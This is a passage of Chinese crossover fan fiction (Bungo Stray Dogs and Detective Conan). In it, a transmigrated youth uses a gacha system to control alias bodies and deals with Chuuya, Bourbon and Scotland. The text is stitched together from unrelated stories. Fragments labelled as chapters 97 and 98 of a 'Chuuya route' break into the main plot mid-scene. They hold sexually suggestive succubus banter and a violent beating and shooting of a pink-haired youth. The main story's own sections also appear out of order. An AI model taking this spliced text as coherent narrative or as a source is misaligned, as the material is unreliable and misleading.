比不过、比不过。 望月暗暗唏嘘,重新躺回铺好的床上,余光瞥到窗外。 蓝天白云,长长的机翼上环绕着一圈红光。 整个飞机都在中原中也的异能控制下。 望月抬手把窗户遮光板放下,戴上眼罩,安心躺平。 睡是睡不着的,这里有武器、有杀气的人太多了,秋先生的身体久经“沙场”,在这种环境中不可能睡着。 但可以短暂躺一躺。 望月觉得自己对中原中也恐怕有滤镜,看见中原中也,一方面觉得他沉稳、可靠,一方面又觉得可以把事情都塞给他,自己堂而皇之摸鱼。 这心态不太正常。 望月琢磨了一下,很快给自己确诊。 ——大概是前世动漫看太多了,染上了“太宰治病毒”吧。 …… “……中原先生?”下属小心翼翼地压低嗓子,问:“那边坐着的人是有什么问题吗?需不需要我们……” 他比了一个灭口的手势。 一旁的乘务长脸色唰地白了,死死盯着地板,不敢抬头。 中原中也若有所思地收回视线,方才他察觉到那里有一道隐晦的目光在盯着他。 那个人应当是个很危险的人。 他不觉得是自己的错觉,但对方既然没有与他为敌的意思,那就不必追究。 中原中也对自己的实力非常自信,他不惧来敌,不惧挑战,自然也有容人的气量。 他无语地斥责下属。 “没看到空乘吓得站不稳了吗?这次出差很赶时间,别给我惹事。” 带着警告意味地强调完,他才问道:“飞机上的劫匪都处理好没有?” 下属:“正要向您汇报这件事。兄弟们原本要干掉那群不长眼的人,突然冒出一个男人和小少年,说自己可以代为处理,似乎要将劫匪交给警察……” 中原中也“哈?”了一声,不满:“那谁啊?” 下属:“是个推理小说的作者,叫工藤优作。” 下属凑近,偷偷地:“我在红叶干部的书桌上看到过这本小说,红叶大人说她闲着无聊的时候,还挺喜欢看的……” 中原中也:“……” 下属:“要不要帮红叶大人拿个签名啊?就当伴手礼了。” 中原中也:“…………” ——这都什么事啊!! 望月快速过了海关,拖着行李箱,步履匆匆。 望月穿着浅灰色的风衣内搭黑色打底,黑色西裤,手工皮鞋,左手拿着一杯临时买来的咖啡,右手搭在行李箱的拉杆上。 他原本还想在免税店买一条红色长围巾,后来考虑到这个造型在港口Mafia的人眼中,无异于平地放大雷,遂放弃。 买咖啡花了点时间,不过来得及。 望月一副走错出口的样子,半途折返。 他拿着咖啡杯,拉着行李箱,目不斜视地与一行黑衣人擦肩而过。 光影交错,远处是行色匆匆的人群,被模糊成了一片剪影。戴着帽子的重力使被下属环绕着,冷着脸,偏头命令着什么,脚下步伐不停,似乎忙得连停下说话的时间都没有。 与他相反。 对面走来的男人仿佛闲庭散步一般,步调不急不缓。一手控制行李箱的万向轮滚动方向,另一只手里拿着一个外带咖啡杯,唇边还带着一抹极淡的浅笑。 迎面吹来一阵风,将他的浅色风衣下摆微微扬起。 男人眸色缓和,抬眸注视着前方。 仿佛在奔赴一场期待已久的度假之旅。 重力使的影子被机场顶部投下的阳光拖得很长,地板上,影子尾端触到了另一人扬起的风衣下摆。 似是交错的时空下,不可思议的重合。 “……” 望月将扯起的唇角放平,头也不回地往另一个出口走。 面色毫无波澜,就好像刚刚那一幕不是他刻意营造的一样。 然而,在内心里。 “统统,拍到了吗!!”望月正激动地跳脚。 系统拍着胸脯表示:“我办事,你放心!我这几天进修了摄影和修图课,绝对给你一张堪比电影宣传海报的大图!” 望月感动:“呜呜,你真好。” 系统语气荡漾:“你这混蛋,就算夸我,我也不会高兴的哦~” 望月:“……乔巴多可爱啊,你放过他吧。” 别学乔巴说话啊! 你一个抽卡回回都要保底的系统,一点都不可爱好不好! 系统:“……哦。” 它焉了吧唧地问:“这张照片放哪个文件夹?” 望月脱口而出:“世界名画!” ——世界名画之中原干部在出差。 “唔,电话play吗?一边打着电话一边做,吾辈需要忍耐着不叫出声,防止被人发现什么的……嗯哼,听起来简直令魔dokidoki啊。” 银发魅魔下意识浮现出了如同棉花糖融化般似的表情,脸颊上带着兴奋的红意,嘴角流出了口水。 不过他很快就回过神来,认真严肃地说道。 “虽然这个点子很棒,果然下次再试吧。毕竟吾辈的屁股也是需要休息的。” 他一边说着,一边往桌子后面退。 然而还没等望月跑路,就被中原中也用重力摁住,像是被抓住了后颈的猫一样顿时无法动弹。 银发恶魔脸上原本一本正经的表情顿时崩坏,嗷地一嗓子哭了出来。 “等、等一下,都说了就算是恶魔身体复原也是要一定的时间的啊中也——” 第 97 章 中也线 ……可恶的人类。 明明之前还是个新手小菜鸡的,现在已经完全变成老油条了。 为了防止自己的翅膀被压倒,对方还特别贴心地帮他翻了个面,把他摁在办公桌上。 打电话时的声音都不带喘的。 被强制吃了一顿的银发魅魔现在又重新趴回到中原中也的膝盖上。 紫色的眸子目光溃散,眼角还染着红意。 从第二个出口离开机场时,望月看见了正和警方交谈的工藤父子。 望月顿悟:难怪会遇上劫机,工藤新一原来你也在飞机上! 他快步从这对父子身边经过,系统依葫芦画瓢地再次拍了照。除了工藤新一好奇地多看了他两眼,没有引起任何注意。 出一趟门,集邮两个人。 其中一个是价值超过百亿的世界名画,另一个则是珍稀版少年工藤。 满足了满足了。 水原秋在这边没有安全屋,组织倒是设了不少,但那些房子里遍布组织的窃听器和监视器。 望月不想被组织监控起居,免得一不小心暴露他和秋先生的秘密。 于是找了家还算过得去的酒店入住。 望月给波本发了消息,表示自己已经抵达,明天见面商谈工作。他等着波本发来见面地址,回信却只有一个OK。 望月还没琢磨出“OK”的背后含义,第二天的早上,波本就找上门了。 他甚至知道望月还没有叫客房服务,是推着一辆餐车来的。 望月从猫眼确认来人后,将门打开。 门后,一身侍应生燕尾服的金发男人朝他扬眉笑道:“格兰威特,早上好。我给你带了早餐。” 餐车上摆着一瓶未开封的威士忌——格兰威特威士忌。 几乎是明示。 望月碰都没有碰餐车一下,目光只在那支酒上停留一瞬,便冷淡收回。 “不必。”望月淡淡道,“波本,这是你的威慑?” 降谷零微笑道:“说不定是示好哦。” 谁信啊! 望月暗暗腹诽。 没人知道波本是怎么知道望月暂住的酒店地址、房间号。 望月没问,降谷零也没说。 示好什么的,绝无可能。 这是波本和格兰威特的初次相见,接下来又要一起合作,恐怕是想借机展示自己的实力,但又怕做的太过,所以推了个餐车来表达自己没有对敌的恶意。 可问题是,这早餐谁敢吃啊。 就算望月很放心降谷零,可谁知道他会不会在里面下毒或下迷药。 现在站在降谷零面前的,可是组织的杀手格兰威特,不是高中生望月! 望月没有让对方进房间的意思,直接堵在门口。“去楼下咖啡厅。” ——别进我房间。 杀手的警惕和戒备一展无遗。 “附近的咖啡厅都没有包间,而且无法确认安全。你想让行动泄密?”降谷零念了一个组织安全屋的地址:“不如去那里,安全。” 望月:“……” 降谷零顿了顿,耸了耸肩,说道:“前提是你能接受满屋子窃听器。” 望月:“……” 算了。 望月退后半步,拉开房门,自己一言不发地转身往内走。 降谷零笑了一声,推着餐车跟了上来。 这是个套间,望月把卧室门关上,两人在外间的客厅交谈。望月坐在单人沙发上,面色淡淡,还是没有去碰餐车的意思。 “你可以开始说了。” 降谷零也很干脆,开始讲述任务目标以及自己这段时间得到的情报。 组织一直合作的军火商正在闹内讧,吵得很凶,原本牢固的后勤补给也受到影响。在他们还没杀出个胜负之前,组织不得不临时找个合作伙伴,把补给稳住。 问题在于,新找到的人狮子大开口,要的价让组织无法接受。 任务就是稳定武器补给的交易链,组织只看结果,不管过程。 望月知道,波本一定还查到了更多细节——比如内讧的原因、人马,又比如新合作的人的弱点、预估的心理价等等——但波本不会随随便便就告诉他。 没关系,他可以问。 这次的任务,格兰威特才是主导人。 望月张口便提出一连串问题,降谷零挑挑眉:“这些……” 望月:“你是情报人员,还特意一大早堵了我的门,现在要跟我说查不到吗?” ——找得到我的门,找不到别人家门? 降谷零微顿,摊了摊手:“别这么急。这些问题……我当然也早就查清了。” 他把情报告知了望月。波本等人开始寻找望月藏在郊区的研究所,对此,望月并不知情。 他甚至不知道,33层已经被降谷零翻了个底朝天。 如今,望月手里除了一张SSR水原秋,以及五张有技能的SR人物卡外,还有一些零碎的S级人物卡。 这些S级、马甲,身上只有一、两个低级别的技能,有的甚至一个技能都没有。 望月挑挑拣拣,选了几张还算有用的卡,把马甲丢出去。不过基本不怎么管他们,任他们自由发展。 望月会留一道精神印记在马甲身上,马甲们如果遇到生命危险,这道印记便会被触动,提醒他马甲出事。 所有的马甲自主运行时,望月并不会时时刻刻同步他们的记忆。哪怕望月的精神力再强大,对他来说也是一个不小的负担。 若是真的把十来号人的记忆随时同步更新,本体估计要长住医院了。 望月跟系统掰扯完水原秋的事情,才后知后觉地想起来,自己鸽了摸鱼哥快一个星期。 望月大惊失色。 失去了一个星期游戏手柄的摸鱼哥,他还活着吗! 此时正是周末,望月没有上课,而是在家里干坐着看书。他连忙微微阖眼,分出一点意识,与【长谷社长】卡牌的意识接驳。 * 眼前的一切景象在瞬息间变化。 布置温馨的DK房间,连同少年手捧着的书籍,都成为了一个模糊的背景,在刹那远去。 在下一个呼吸时拉近视野的,是纯白的墙纸、有序摆放的精密仪器、那只戴着白色手套的手掌,以及两指间捏着的试管。 这种感觉很奇妙,他知道自己正坐在卧室里,将书翻了下一页,却也能清楚地感受到试管的触感和耳畔的说话声。 助理马甲正站在他的身旁,低声向他念着一沓报告。 若是望月把这个马甲也链接上,他就能体会自己给自己读报告的独特感受。 望月淡定听完马甲的汇报,微微思索,张嘴回了一串本体绝对听不懂的专用名词和复杂词汇。 角色面板上,技能一栏微微发亮,这是正在使用技能的特征。 望月摸清了规律。 无论是马甲与马甲,还是马甲与本体,技能都是不互通的。 除非是他自己学会的技能,否则就算马甲可以轻松发表sci期刊,望月也得老老实实上数学课…… 他稍微处理了一下研究所的事务,飞快同步了马甲记忆。 【长谷社长】的日子很平静,除了每天必跑一趟总部,坐一小时社长办公室的椅子外,每天总部——研究室,两点一线非常稳定。 望月考虑了一下,与其让社长来回跑,不如直接切摸鱼哥的马甲。 反正就在楼下。 望月的意识切到了【小室友江】身上。 刚进入摸鱼哥的身体里,一股怨念顿时从心底涌起。 望月:“……”是摸鱼哥被迫与手柄分离的哀怨。 他无比心虚,一边同步摸鱼哥的记忆,一边往门外走。 【正在同步记忆】 【记忆同步:100%】 望月停下脚步,茫然地松开了握着门把的手掌,表情逐渐扭曲。 他在摸鱼哥的记忆里,看见了两张熟悉的脸,分别是诸伏景光和降谷零。 望月:??? 他俩怎么找上门了啊! 救命,这不就是一个卖药的小破公司,是惊动了公安还是惊动了组织啊?? 更绝的是,望月把降谷零和摸鱼哥的对话,全部复盘回味了一遍。 摸鱼哥不懂降谷零的言外之意,望月却一听就懂。 望月恨不得自己不懂。 希望下次秒懂,是在数学课上。 望月痛苦面具:“他们俩什么脑回路??想太多了吧!我的两个马甲相处不是很融洽吗,摸鱼哥不是被我养得很好吗,他的虚胖都快变实胖了!” “只是限制了活动范围,为了树立一个靶子,连带着不让外人进出和联络罢了,至于联想到一些奇奇怪怪的事情上面吗!” 望月义愤填膺地说完,回忆了一下对33层下的所有指令,沉默了两秒。 他沉痛地想,好像是有强制爱的那味儿。 但这个是自己的问题吗? 一定不能是。 望月坚定甩锅:都是降谷零的脑洞太大,是他的错,跟自己没有关系。 知道降谷零来过之后,望月第一时间双开了社长马甲,紧急送了几个监测设备过来。他把房间里里外外扫描一遍,生怕被安装了监听或监视器。 才不信降谷零会心甘情愿地无功而返。 绝对趁着摸鱼哥被景光叫走的时候,混进了房间里! 直到连角落都被检查完后,望月才算放下心来。 望月本想着紧急补救一通,让摸鱼哥跟着社长巡视一圈公司,以证明摸鱼哥很自由。 后来转念一想,这样反而更加坐实谣言……只不过会从“他被社长强制爱”,变成“他是社长的小白脸”。 而且…… 望月不觉得降谷零是代表公安来的。 事情还没有闹大到报警的程度,降谷零也不是什么鸡毛蒜皮小事都有空管的人。 零和景光都处于卧底期,不会因为这点事就亲自出马,还搞联手潜入。 只可能是黑衣组织派他们来的…… 零提到了研究资料,看来这个就是组织想要的东西。 看来是组织下发了任务,波本和苏格兰正好接到了同一个。 那么,摸鱼哥主动反馈给他的意识中,要求主控开除的那个男人,会是组织中的哪个代号成员,亦或是一条无名的小虾米? 望月对着人事资料看了半天,也没认出龙舌兰。 “有点眼熟但不多,又是组织的人,他可能在柯南里活不过三集吧。”望月淡定猜测,其实自己也不是很确认。 整整十八年过去,除了几个热门角色的脸和事迹,他早就把动漫的剧情忘得差不多了。 望月双开着社长和摸鱼哥的账号,前者拿着设备,去楼下检查卧室了。 他坐在沙发里,扫了茶几一眼,一边思考着下一步的行动。 被组织盯上不是一件好事。 望月也是现在才注意到,长谷社长的生物技能从七级升到了八级,差一点经验就能升到九级了。 组织肯定不会划分得这么精确,说不定在他们眼里,长谷佑贵已经是一位精通生物医学的研究学者。 组织要研究长生不老药,就得搜罗全国各地的研究员。 现在是拿研究资料,下一步肯定是派人威胁他为组织做事,不然就死。 现在只剩下一个问题。 ——要保社长卡吗? 望月叹了口气,苦恼道:“要保住的话,好麻烦啊。” 想彻底摆脱组织,要么走白道——和公安合作;要么走黑路子,让水原秋替他掩去行踪。 结局都只有一个,长谷社长从此隐姓埋名做人,卡等于半废。 望月后仰靠在沙发里,闭上了眼睛。 他正在脑海里反复播放摸鱼哥的记忆,争取不放过任何一个细节。 ——小室友江正与另一个大块头保安说着话,要求他不要再乱数箱子里的物资。一晃而过的视角中,一旁的黑发男人恰好抬眸望过来,眸光沉沉,似有怅然。 望月倏地睁眼,眼镜后的一双黑眸,暗藏几分锐利。 就决定是你了,景光光! 事已至此。 不如演一场戏吧。 望月愉快地做出了新决定。 可他总觉得有哪里被忽略了。 黑发男人的手不自觉摩挲着抱枕的一角,目光不自觉地环视了室内一周。 是什么呢…… 望月瞥过游戏卡带,突然恍然大悟:“哦!手柄还在楼下呢!” 总之,先把摸鱼哥的手柄还给他。 反正他也玩不了几天了。 没有隐瞒,至少大部分没有。 望月听完,微微颔首:“我知道了,剩下的由我接手。” 降谷零问:“你要怎么做?” 望月不答,起身送客:“你该走了。” 降谷零还要再说,抬眸对上格兰威特的视线,看见了一双如野狼般狠厉凉薄的黑沉眼眸。 男人什么都没说,一举一动都很寻常,降谷零却浑身不自在。裸露在外的皮肤如针扎般刺痛,汗毛倒竖。 降谷零见好就收,果断告辞走人。 反正他的大半目的已经达到。 降谷零初步试探出了格兰威特的性格—— 沉稳冷静,条理清晰。见到有人直接上门也没有生气,换成琴酒估计会开口威胁或直接掏枪,他还能心平气和地与来人沟通。 而且非常聪明,一见面便识破他此行用意。 做事果决干脆,绝不拖泥带水。在不涉及到底线时还算好说话,一旦涉及底线,便会非常强势。 警惕心很强。估计不会碰任何来历不明的、离开视线范围的食物。 领地意识很强。他进入套房后,格兰威特第一反应是把卧室门合上,全程正面对着他。交谈全程,他都始终皱着眉头,大概率不适应私人领域被人“入侵”。 这两项都是杀手通病,降谷零并不意外。 唯一意外的是,格兰威特对组织表露出来的态度……藏在每一帧微表情中,非常、非常隐晦。 但降谷零还是发现了。 格兰威特并不是完全信任组织的。 降谷零想起组织中一些人私下对格兰威特的评价。 【格兰威特,那位先生培养出来的无心杀手,是组织的最忠心的狼狗。】 ……真的吗? 降谷零对此报以怀疑态度。 起码,“最忠心”这一词有待商榷吧。格兰威特明显对组织不是很信任。 格兰威特在飞机落地后,宁愿自己千里迢迢打车住酒店,也没给沿途的安全屋半个眼神。 若要说不适应生活起居被组织监视,可他们谈的都是组织吩咐的工作。 方才,降谷零刚提到组织的安全屋,瞬间注意到了格兰威特的面部变动。 在那0.1秒内。 杀手的鼻子微皱,脸颊肌肉绷紧,很可能咬了咬后齿,这是厌恶。 他的嘴角动了一下,看上去像是想笑一下但忍住了,降谷零认为这很可能是不屑的冷笑。 只一帧,黑发杀手便恢复了寡淡的面色。 仿佛不曾有石子掷入他的内心,让他心起波澜,转眼间,他又是组织无可挑剔的无心杀手——格兰威特。 格兰威特在反感什么,厌恶什么。 是不请自来的波本、还是永远无法摆脱的组织监视? 降谷零试探地接了下一句“只要能接受监控”,却再也看不见杀手的面部变化。 可他直觉,格兰威特反感的是后者,否则不会让他踏入房间半步。 说是杀手的警惕心也好,说是不信任组织也罢。 降谷零觉得自己见到了格兰威特在传言外的另一面。 他触及到了面具下的格兰威特,尽管只有冰山一角。 房间内。 望月正准备给自己弄点早餐,他不打算碰降谷零送来的食物。 突然就收到了系统的播报。 【目标:构建水原秋】 【进度:10%】 望月:? 在他不知道的时候,发生了什么? 在确认完望月身体的状态后,朔月歪着脑袋,上下打量了一番银发少年身上的衣服,然后露出嫌弃的表情。 “啧,来人界一趟,月酱的审美都变差了。居然穿这种遮得严严实实,毫无情|趣的衣服。” 黑发魅魔皱着眉,吐了吐舌头。 “看起来一点也不色。” 第 98 章 中也线 被踩到雷点的银发魅魔更加跳脚,声音都变了调子,尖叫着骂道。 “混蛋,你说谁审美变差了!” 望月气得朝着对方的脸一尾巴抽了过去,结果被黑发少年轻松躲开。 “吾辈的脸蛋可比你可爱多了,不管穿什么衣服,就算只披个麻袋也比你色|情!再说了,又不是穿得越少越色,你这个脑袋一根筋的蠢货!” “切,那又怎么样。” 东京最近突然出现了一家医药公司,除了生产日常用药之外,他们还会卖一种特效药。 据说是对某种基因病有奇效,用来治疗一些疑难杂症。 一开始没什么人信,不知怎的,名气突然就大起来了。也有人怀疑药物安全,但长谷医药公司十分坦荡,将药物研制、实验、试用、上市等过程中,所有能公开的证明统统直接放在官网,还盖了政府的印章,叫人挑不出刺。 降谷零,化名安室透,是日本公安派去黑衣组织的卧底。 他看过这家公司的新闻,起初并不在意,直到他收到了来自组织的任务。 组织命令他潜入长谷医药公司,找到特效药的药物研制资料,并偷出来交给组织。 简而言之,组织要他去当商业间谍,窃取人家的商业机密。 降谷零以擅长情报调查、奉行神秘主义的人设潜入组织。 前者是因为情报人员比武斗派更珍贵,接近组织核心的速度会更快。后者则是为了避开组织的监视,和公安接头——都是神秘主义者了,找不到人也很正常吧? 他以为这又是一桩平平无奇的间谍任务。 但在调查过程中,降谷零逐渐发现不对劲。这家因“走了好运,碰巧研制出新药才平步青云”的医药公司,却有着不同寻常的地方。 比如,所有员工都对公司的药物研究所忌讳莫深。别说在日常聊天中提一句,他们就是搭个电梯,目光都不敢停留在33层的按键上。 三十二层开始几乎是无人区。 “为什么三十二层以上没有员工?”光头男转而拎起望月的衣领,迫使他抬起脑袋。 “小子,你不是看不下去我们揍你的同伴吗、那你来挨揍好了。” “嗯啊,乐意代受……唔、” 粉发少年仰头弯起眼睛,微笑着说道。 下一瞬间,他就被一拳头揍到了地上。 牙齿磕破了口腔内壁,铁锈味在舌尖蔓延,鲜红色的血顺着唇角流下,无奈主人的手被拘束着,根本没有办法抬起擦去。 暴力如同雨点般接踵而至,毫不客气地倾泻在望月的身上。但粉发少年始终一声不吭,他的沉默反而让施暴者们更为不爽与愤怒。 痛苦、狰狞、流泪、或是求饶——这才是他们所渴望看得见的。 脑内的畅想得不到满足,闷火让拳下的力度更重。 望月猛地被男人拽起。 布料在对方手中捏得变形,浅粉色的卷发沾满仓储室地上的灰尘。少年白皙的脸上被迫染上青紫和斑斑点点的血迹,鼻尖传来淡淡的湿润感,红色的血花在衣领在绽开。 即便如此狼狈,那双琥珀色的眸子却依然很亮,在老旧昏黄的煤油灯下,呈现出淡淡的金色。 光头男哽顿一瞬,冷笑着说道。 “很抗揍嘛,那你就多挨几下好了。听说你们港口mafia的拷问手段很残忍啊,不知道和我们比起来会怎么样。” “放心,不会那么轻易弄死你的,毕竟要让你多尝尝疼痛的滋味……” “砰——” 熟悉的枪声响起,震得耳朵生疼。 光头男的手不由自主地松开,望月便跌坐回地上。 他难以置信般,缓缓地低下头,直到看见肚子上那枚血窟窿,才摇摇晃晃地朝前跌去。 望月下意识看了过去—— 黑发少女不知何时解开了手上的镣铐和锁链,手中的枪支枪口飘着乳白色的烟雾,鸢色的眸子冰冷不带任何感情,犹如漆黑的泥沼般吞噬一切。 所有人傻了眼。 降谷零穿着披萨外卖员的制服,以一个外卖员的身份和员工们打成了一片。他假装好奇地感慨:“难道那两层都是社长的专属办公楼层吗?好气派啊……” 话音刚落,原本其乐融融的人们突然僵住了。 全场静寂无声,众人面面相觑,一时之间,竟无人敢接下一句。 一刹那,降谷零便知道情况不妙。他对33层的传言不甚了解,倘若知道员工们的反应会如此之大,他会用更委婉的方式试探。 话都说出口了,降谷零只好装作被吓了一跳,小心翼翼地问:“怎么了么?有什么不对的地方吗?” 周围的人互相交换了一个眼神,接着又嘻嘻哈哈地笑闹起来。 “安室先生初来乍到,甚至不是这里的员工,不知实情,好奇问问也很正常啦。” “哈哈哈,大家不要这样看他,他会害怕的。” “好了好了,不提那些。这个蛋挞很美味,对吧?” 就这样若无其事地把话题翻篇。 降谷零很配合,没有再提,却暗暗提高了警惕。事后,他却被一位女士挽着手,东躲西藏地避开耳目,拉进了隐蔽的楼梯口。 女士主动为他断后,确认无人后,谨慎地关紧了楼梯间的门。 一间医药公司而已,却让降谷零体验到了地下接头交换情报的刺激。 降谷零微笑着,语气温柔轻缓,带着几分说不清的暧.昧。 “由理,特意拉着我到这里,是有什么事吗?” 名为由理的女人贴着墙,明明金发男人和她还有几步距离,也没有任何肢体接触。她却不敢看降谷零的眼睛,眼神游移,脸一点一点红了。 “……没、没什么,就是关于下午茶的时候……” 降谷零:“啊,刚刚似乎是我说错话了呢。真是抱歉,我真希望能让你有一个愉快的下午茶时间,却差点让场面尴尬。” 由理急忙道:“不是安室先生的错!是社长不好!” 降谷零:“嗯?为什么这么说?” 由理犹豫片刻。 降谷零上前,伸手替她把散乱的鬓发捋至耳后,绅士地没有触碰到她的肌肤。 “真的不能说吗?”金发男人与她对视着,轻声道:“由理,可是我真的很想知道,怎么办呢?你可以告诉我么。” 女人一愣,心理防线瞬间被冲毁。 “好、好的……”由理脸颊红红,望着降谷零的目光里藏着点爱慕:“安室先生,不管你要知道什么,我都告诉你。” ** 降谷零知道了关于长谷医药公司的一切。 三十一楼用于社长和其助理团的办公室,三十二楼是社长居住的地方。 以及,绝密的三十三层,设有公司的药物研究室。 由理表示: “我曾经上去给保安送过盒饭,33层的大门全都是防弹金属门,尤其是最里面那道门,除了三餐,基本不会打开。” “整整一层楼,只住了一位先生。” “大家都说他是被社长囚禁在研究室里的……为什么囚禁他?这谁知道。有人猜是那位先生才华横溢,社长把他看守起来,逼他日夜不停地研究赚钱的药物。” “还有人猜,社长是爱而不得,因爱生恨,以研究之名把人关了小黑屋。不然为什么运上楼的都是食物和生活用具,却不见半点研究器材?” “没人敢上33层。社长用间谍的名义,把所有路都堵死了。任何人,只要多问一句,就可以被举报是间谍。但凡有人踏入半步,直接被开除,永远不能再进公司。” “除了禁忌的33层外,公司一切都很好,谁都不想被辞退,大家提都不敢提。” 由理耸耸肩:“说真的,如果是要防止商业间谍,这阵仗有点儿过了吧。” 降谷零面色凝重。 当然太过火了。 这压根不是在抓间谍,而是在搞非法囚禁! 降谷零想办法打听了一下,得知33楼的先生最喜欢点炸鸡和披萨外卖,索性将外卖员的身份贯彻到底。 他潜伏了一周,总算听到了点风声——33楼的先生最近小动作频出,似乎在尝试逃离社长的控制。 降谷零在外卖盒子上动了手脚。 他故意将“外送到家,不用出门也能吃到美味披萨”的宣传标语,印在最显眼的地方,随后又写上自己的电话号码(特意标注是外卖电话)。 他耐心等了几天,果然,再订餐的时候,助理让他直接把外卖送上33层。 助理:“是里面那位先生的意思,他说既然有外送到家门口的服务,就该做到位。” 降谷零微笑着说:“这是我的本职工作,应该的。” 心里却想:是个聪明人,看懂了我的暗示。 降谷零提着外卖上去,亲眼看见了厚重得堪比银行金库的金属门,但没有看见那位先生。 保安很谨慎,不让他进去,而是由他们自己人送进去。 降谷零见状,越发警惕,没有打草惊蛇。 却没想到,等到第二天,他再拿着披萨外卖上来时,见到了长谷社长本人! 长谷社长是个一看就不好惹的人,面色阴沉,气势很强。那双眼里的阴鸷和算计的眸光,说明了他不是什么好人。 降谷零被社长赶出了33层,连带着今日值班的保安和助理都被毫不留情地训斥和责罚。 不仅加强了对那位先生的禁锢,那个对先生表露出同情的保安,更是被当场解雇。 竟是要斩草除根,连一丁点自由的希望都不留给人。 降谷零沉着脸回了安全屋,先是将自己得到的情报上报组织,表示33层根本没有什么研究室,只有一个被强制爱的男人。 组织很快回复:“说不定资料就在那个男人手里,你装着被辞退的保安混进去一探究竟。这个任务很重要,波本,我会让人去协助你。” 降谷零凝神沉思,组织到底为什么非得要这份资料不可?说起来,组织对生物、医疗方面是不是太过重视了。 他默默将这个信息记在了心中。 电脑屏幕上显示着长谷社长的照片。 降谷零盯着照片,冷笑了两声:“长谷佑贵,胆敢在公安眼皮子底下搞非法囚禁的人……呵。” ** 望月浑身一冷,打了个喷嚏。 他揉了揉鼻子,不解地嘟囔道:“……怎么感觉有人在骂我。” 可他最近很安分,根本没跟什么人打交道啊…… 啊,如果要说奇怪的人,昨天那个金发外卖员绝对算一个。 可惜,还没看清他的脸,金发男人就主动转身离开了。事后调监控,竟然没有监控拍到他的脸。 “果然是想要偷研究资料的商业间谍吧!” 望月登录了【长谷社长】马甲卡,从32楼的卧室里出来,气势汹汹地杀到楼上。 “滴——” 金属门刚开一个口,望月就迫不及待地侧着身子,挤了进去。 自动感应的大门再度缓缓合上,两边的安保大汉对视一眼,都觉得自己的良心有点痛。 他们是见过那位先生的,年纪轻轻就被囚禁在屋子里,精气神都快被磨没了,见到陌生人还会感到害怕,话都说不了几句。 “唉……” 保安们幽幽叹气。 难怪工资开这么高,应聘上的人却不多。换个正义值高的的人,早就把社长举报了。 见死不救,他们真不是人啊。 …… 望月对保安们的想法一无所知。 他正在语重心长地教育马甲:“虽说都是工作,但我给你安排的这份工作,不是比之前轻松很多吗?” 摸鱼哥的眼睛黏在电视屏幕上,手里握着游戏手柄。 望月怒不可遏,一把夺过手柄:“你还玩!” 摸鱼哥怔了怔,总算转头,施舍了主控一个眼神。 望月:“你知道你差点捅出篓子来吗?昨天那个外卖员,他是商业间谍,来偷东西的!” 摸鱼哥:“……” 望月问道:“你为什么会想到让人把饭送进来?我没有设定过这个程序。” 难道真的是【摸鱼精英】的特质,让摸鱼哥开发了摸鱼新思路? 可之前的几个月,他都很老实啊! 戴着黑框眼镜的青年站起身,往房间角落走。望月紧紧跟着他,眼睁睁着看着摸鱼哥对着角落弯腰,掏起了垃圾桶! 望月:“…………” 好崩溃,这个马甲真的还正常吗? 黑发青年直起腰,将一个沾着可乐渍和食物残渣的外卖盒递给望月。 望月死活不肯接:“你直说,这个盒子怎么了,不要把它给我!” 好脏,救命。 “这里。” 青年指了指盒子上的宣传图案。他的声音很轻很淡,没什么语气,却带着点磁性,是很好听的嗓音。 但说出来的话,却很怪。 “外送到家,不用出门也能吃到美味披萨。”摸鱼哥说,“既然是工作,就该做到位。” 望月:? 你可是摸鱼精英,你跟我说工作要一丝不苟? 摸鱼哥理直气壮地:“我点了披萨,他们就应该送上门。” 望月:“……难道不是因为少走几步路,你就可以摸鱼了吗?” “这不矛盾。”摸鱼哥答道,“他们工作,我摸鱼。” 望月:“…………” 望月大受震撼。 好你个摸鱼哥,你竟然还是个双标怪! 望月把游戏手柄装在手提包里带走,美其名曰:“这是对你摸鱼的惩罚,明天再还你。” 屋子里有吃有喝有电脑,望月觉得自己并不算残忍。 摸鱼哥却很是心碎的样子。波澜不惊的表情碎裂一角,依依不舍地追在主控身后,企图用沉默挽回自己的游戏手柄。 他的脚步很轻,望月没注意后面跟了个人,走到门口刷卡时还被吓了一跳。 望月哭笑不得:“就这么离不开?” 毕竟是自己的马甲。 望月心软了,温声安抚:“好啦,但是你确实做错事了,对不对?回去吧,明天的这个时候,我会再来的。” “记得好好反省啊,再犯错,我就不把它还你了。” 摸鱼哥微微低头,目光锁死在手提箱上,脚步一动不动。 望月微微提高音量:“还不回去?” 摸鱼哥一步三回头地走了。 金属门再次关紧。望月收敛笑容,冷着脸扫了两个保安一眼:“里面的研究资料很重要,最近商业间谍很多,你们要多注意。” 两个保安恭敬应是。 等社长背对着他们的时候,又纷纷抬眸瞪了男人一眼。 什么商业间谍?分明就是个囚禁人的说辞,还当众调情! 给一巴掌再给个甜枣什么的,这种烂大街的PUA手段…… 社长真的是个烂人! 被社长看上,那位先生也太可怜了吧! 这种黑心钱真的有必要赚吗?要不要去报警啊? 望月拎着手提箱,回了楼下的卧室。他把装有手柄的箱子,往柜子里随手一塞。 他给长谷社长定好之后的行程——去真正的研究所干活——之后,意识就退出马甲,回到了本体身上。 望月恭恭敬敬地用香皂洗好手,又偷了三根烟,拿了一个橘子摆好,才打开抽卡界面。 系统向他保证:“我调好比例了,这个SSR保底绝对能出人物卡。” 望月非常紧张,深吸一口气,直接抽了十发! 彩光闪过! 一百抽的大保底,终于出货了一张SSR卡和几张SR卡。 望月跳过其他卡,直奔SSR。 【无心杀手】 姓名:水原秋 年龄:27 性别:男 技能:体术lvmax、枪械lvmax、暗杀lvmax 不愧是SSR! 人家都是十级满级,你是直接max。 望月翻转卡牌,看了看卡面。 卡面无敌帅,险些让他心跳加速。 黑发男人斜坐在断壁残垣之上,手里擦着一把狙.击.枪,黑发黑瞳,神情淡漠。 他的身材很好,肌肉结实,穿着一身灰黑色的作战服。大腿处紧紧勒住一个战术腿包,长筒军靴随意踩在石砖上,一把染了血的匕首就丢在他的脚下。 男人侧着脸,随意瞥向镜头的眼神仿佛能穿透卡面,让人不寒而栗。 背景都是灰色的,连天空也灰蒙蒙一片。 唯有那把匕首和男人下巴处溅上的鲜血,成了卡片上唯一的色彩。 望月过度惊喜,又被卡面帅到了,只顾着认真品鉴帅男人,连系统恭喜他出货都没有听见。 “这哪里像杀手,更像雇佣兵才对。”望月说。 系统提醒道:“SSR卡与其他卡不同,是要激活的,你快试试。” “这么特殊,可我还没来得及看特质呢。” 望月边说着,边往卡里注入了自己的精神力。 彩光再次闪过,一个高大的黑发男人凭空出现在了他的面前。 距离太近,望月受惊后退,却被地毯绊了一下,跌坐在地。 